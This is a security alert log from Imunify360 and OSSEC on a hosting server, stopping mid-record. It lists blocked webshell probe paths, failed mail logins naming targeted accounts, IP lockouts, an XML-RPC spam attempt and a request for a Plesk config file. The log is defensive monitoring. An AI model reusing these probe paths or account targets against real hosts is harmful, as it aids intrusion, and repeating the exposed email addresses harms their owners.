description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kendek.com/turnkey.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-19 18:02:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:57524: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.187
country_id: 1880251
domain: mail.fkr.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/print-2/images/events.php||SC:/home2/fkrcom/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.51.2
country_id: 953987
description:
Jan 19 18:03:34 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.51.2 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 19 18:05:03 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.50
country_id: 690791
description:
2026-01-19 18:05:45 H=([45.144.212.50]) [45.144.212.50]:57701 F=<azlan@permalanka.lk> rejected RCPT <mustapa@astlog.com.my>: SPF: 45.144.212.50 is not allowed to send mail from permalanka.lk


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.195.166.62
country_id: 2017370
description:
Jan 19 18:16:15 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.195.166.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.195.166.62
country_id: 2017370
description:
2026-01-19 18:16:17 dovecot_login authenticator failed for H=(dynamicip-109-195-166-62.pppoe.ryazan.ertelecom.ru) [109.195.166.62]:60924: 535 Incorrect authentication data (set_id=info@astlog.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.76.248.54
country_id: 1814991
description:
Jan 19 18:18:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.76.248.54 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.76.248.54
country_id: 1814991
description:
2026-01-19 18:18:02 dovecot_login authenticator failed for H=([222.76.248.54]) [222.76.248.54]:56580: 535 Incorrect authentication data (set_id=william_althea@imax.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/img/photos/csr.php||SC:/home/indfinitydesign/public_html/img/photos/csr.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.242.220
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/news-details5.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.28.167.17
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/spring/266/571755 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.124.146.42
country_id: 1733045
description:
Jan 19 18:29:16 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.124.146.42 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.146.42
country_id: 1733045
description:
2026-01-19 18:29:18 dovecot_login authenticator failed for H=([49.124.146.42]) [49.124.146.42]:59282: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.131.128.157
country_id: 3658394
domain: aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/aoto.com.my/product.php?category=2K Clearcoat Series HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.226.88.121
country_id: 2661886
description:
Jan 19 18:29:59 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.226.88.121 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.226.88.121
country_id: 2661886
description:
2026-01-19 18:30:01 dovecot_plain authenticator failed for H=81-226-88-121-no600.tbcn.telia.com (buited) [81.226.88.121]:43960: 535 Incorrect authentication data (set_id=iliyas@maalloys.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-19 18:30:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:52236: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.76.82.82
country_id: 2328926
description:
Jan 19 18:36:43 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.76.82.82 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.190.224.15
country_id: 3996063
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=987821 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.76.82.82
country_id: 2328926
description:
Jan 19 18:36:57 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.76.82.82 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.139.157
country_id: 99237
description:
Jan 19 18:38:12 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.139.157 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 19 18:39:28 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/question-some-questions-about-on-line-information/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/Radioactive_Waste_Management.php||SC:/home/sutsbcom/public_html/question-some-questions-about-on-line-information||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.138.173.237
country_id: 1210997
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/movie/629/119054 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 222.253.106.184
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=697884 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.244.17.11
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=25951514530104 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.94.42.22
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=16911523583122 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.227.197
country_id: 1269750
description:
Jan 19 18:46:49 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.227.197 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.181.39.187
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=43821526632107 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.245
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/script/fancybox/source/helpers/jquery.fancybox-buttons.js?v=1.0.5 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.158
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/script/fancybox/source/jquery.fancybox.js?v=2.1.3 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.74.229.192
country_id: 1210997
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/becomeonedaypilot-cessna.htm HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.161
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/assets/popup.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.177
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/script/fancybox/source/jquery.fancybox.css?v=2.1.2 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.217
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/script/fancybox/source/helpers/jquery.fancybox-thumbs.css?v=1.0.7 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.135
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/assets/popup.js HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.241
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/Scripts/AC_ActiveX.js HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.242
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/script/fancybox/lib/jquery-1.8.2.min.js HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.137
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/webfonts/OpenSans_Light/OpenSans-Light.ttf HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.218
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/webfonts/OpenSans_Light/stylesheet.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.142
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/webfonts/OpenSans_Bold/stylesheet.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.210
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/webfonts/Montserrat/stylesheet.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 69.94.84.164
country_id: 1282028
description:
Jan 19 18:52:47 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 69.94.84.164 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.231
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/script/ddmenu/jquery.min.js HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.178
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/script/fancybox/lib/jquery.mousewheel-3.0.6.pack.js HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.190
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/script/ddmenu/navigation.js HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.232
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/webfonts/OpenSans_SemiBold/stylesheet.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.157
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/script/fancybox/source/helpers/jquery.fancybox-buttons.css?v=1.0.5 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.237
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/script/glowbutton.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.223
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/script/fancybox/source/helpers/jquery.fancybox-thumbs.js?v=1.0.7 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.168
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/Scripts/AC_RunActiveContent.js HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.211
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/script/ddmenu/main.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.220
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/script/fancybox/source/helpers/jquery.fancybox-media.js?v=1.0.5 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.252
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/webfonts/VarelaRound_Regular/stylesheet.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 190.114.99.177
country_id: 3865483
domain: sutsb.com.my
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/sutsbcom/public_html/wp-includes/SimplePie/src/Source.php||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.118.112.113
country_id: 6252001
description:
Jan 19 18:57:21 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.118.112.113 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.112.113
country_id: 6252001
description:
2026-01-19 18:57:23 dovecot_login authenticator failed for H=(uiytw) [92.118.112.113]:51673: 535 Incorrect authentication data (set_id=export@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-19 18:58:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:56310: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.212.119.91
country_id: 2029969
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/yet/650/644870 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/keyword/img/photos/index.php||SC:/home/indfinitydesign/public_html/keyword||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.246.33.60
country_id: 1819730
description:
Jan 19 19:10:15 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 119.246.33.60 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.78.255.54
country_id: 1210997
domain: www.astlog.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.astlog.com.my/offices.htm HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.78.255.54
country_id: 1210997
domain: www.astlog.com.myhttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.astlog.com.myhttp/www.astlog.com.my/offices.htm HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 128.185.195.70
country_id: 1269750
description:
Jan 19 19:14:03 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 128.185.195.70 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.195.70
country_id: 1269750
description:
2026-01-19 19:14:05 dovecot_login authenticator failed for H=([182.95.26.222]) [128.185.195.70]:52724: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.50
country_id: 690791
description:
2026-01-19 19:18:23 H=([45.144.212.50]) [45.144.212.50]:64929 F=<azlan@permalanka.lk> rejected RCPT <astbki@astlog.com.my>: SPF: 45.144.212.50 is not allowed to send mail from permalanka.lk


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.238.106.151
country_id: 3865483
description:
Jan 19 19:18:41 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.238.106.151 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.248.17.13
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=673988 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.244.150.97
country_id: 99237
domain: www.usfood.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.usfood.com.my/index.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.47.190
country_id: 99237
description:
Jan 19 19:23:32 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.47.190 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.255.47.190
country_id: 99237
description:
2026-01-19 19:23:34 dovecot_login authenticator failed for H=([185.255.47.190]) [185.255.47.190]:35974: 535 Incorrect authentication data (set_id=jyteh@mckd.com.my)


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 146.174.180.30
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/sutsbcom/public_html/wp-includes/SimplePie/src/Caption.php||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.226.115.48
country_id: 3057568
description:
Jan 19 19:26:10 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.226.115.48 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-19 19:26:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:56391: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 185.225.40.162
country_id: 163843
domain: vc-b.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:12258.vc-b.com.my||ServerName:vc-b.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:cfb05bbf31d9f54c502dd47f81593f8940aff80e||Title:0xb4beea3b||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 134.215.84.66
country_id: 6252001
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/etc/sw-engine/pool.d/default.conf||User:root||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.188.150.223
country_id: 3703430
domain: www.vc-b.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.vc-b.com.my/video.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 146.174.168.114
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/sutsbcom/public_html/wp-includes/SimplePie/src/RegistryAware.php||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/m.me/img/druma_photos/article.php||SC:/home/indfinitydesign/public_html/m.me||


plugin: modsec
rule: 77350600
name: IM360 WAF: Suspicious .min.php file in wp-includes
abuser: 154.192.48.48
country_id: 1168579
domain: sutsb.com.my
description:
IM360 WAF: Suspicious .min.php file in wp-includes||SC:/home/sutsbcom/public_html/wp-includes/assets/script-modules-packages.min.php||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/img/photos/services.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.183.47.30
country_id: 1269750
domain: www.vc-b.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.vc-b.com.my/creative-service.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.143.92.165
country_id: 2510769
description:
Jan 19 19:41:44 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.143.92.165 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 172.56.228.77
country_id: 6252001
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/product_detail.php?pageid=45 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.233.115.90
country_id: 3469034
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/product.php?page_id=33 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 169.224.6.245
country_id: 99237
domain: www.mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mssa.org.my/site/images/stories/janmar2012/bocad/4-bocad.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 116.58.200.241
country_id: 1210997
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/productdetails.php?id=2369 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.232.201.92
country_id: 3469034
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/productdetails.php?id=9794 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.180.184.16
country_id: 1562822
domain: www.mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mssa.org.my/site/images/stories/janmar2012/bocad/1-bocad.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.112.16.95
country_id: 2542007
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/product.php?page_id=21 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.130.113.181
country_id: 3469034
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/productdetails.php?id=1514 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
